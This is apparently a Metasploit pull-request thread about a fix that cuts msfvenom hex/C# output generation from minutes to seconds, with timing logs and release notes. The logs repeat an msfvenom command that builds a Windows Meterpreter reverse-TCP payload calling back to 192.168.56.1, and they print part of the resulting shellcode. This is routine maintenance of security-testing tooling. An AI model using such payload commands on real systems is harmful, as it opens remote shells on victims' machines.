Fix slow msfvenom payload generation for large payloads when outputting as hex format

[adfoster-r7]

Fix slow msfvenom payload generation for large payloads when outputting as hex format

Pulls in rapid7/rex-text#59
Fixes #17245

Verification

Master:

$ time ./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -f csharp
...
-- 333.91s user 24.30s system 99% cpu 5:59.45 total

This branch:

$ time ./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -f csharp
...
-- 7.25s user 6.48s system 95% cpu 14.376 total

[gwillcox-r7]

Before:

I gave up waiting cause geezus it was slow as heck:

  │  ~/git/metasploit-framework │   master *1 ?16  time ./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload

^CError: 
./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -  948.64s user 6.28s system 90% cpu 17:40.55 total
  │  ~/git/metasploit-framework │   master *1 ?16  

After:

  │  ~/git/metasploit-framework │   land-pr17368:pr/17368 *1 ?16  time ./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 175686 bytes
Final size of csharp file: 893104 bytes
byte[] buf = new byte[175686] {0x4d,0x5a,0xe8,0x00,0x00,
0x00,0x00,0x5b,0x52,0x45,0x55,0x89,0xe5,0x81,0xc3,0x56,0x45,
0x00,0x00,0xff,0xd3,0x81,0xc3,0xa3,0x64,0x02,0x00,0x53,0x6a,
0x04,0x50,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
*cut for brevity*
0x00,0x00,0x00,0x2c,0x01,0x00,0x00,0x10,0x0e,0x00,0x00,0x0a,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,
0xff};
./msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.56.1 lport=4444 -  21.51s user 3.48s system 94% cpu 26.393 total
  │  ~/git/metasploit-framework │   land-pr17368:pr/17368 *1 ?16 

[gwillcox-r7]

LGTM, will land this now.

[gwillcox-r7]

Release Notes

Fixes a regression issue with msfvenom payload generation for large payloads taking more than 5 minutes to generate when outputting as hex format. Now it takes a few seconds as normal.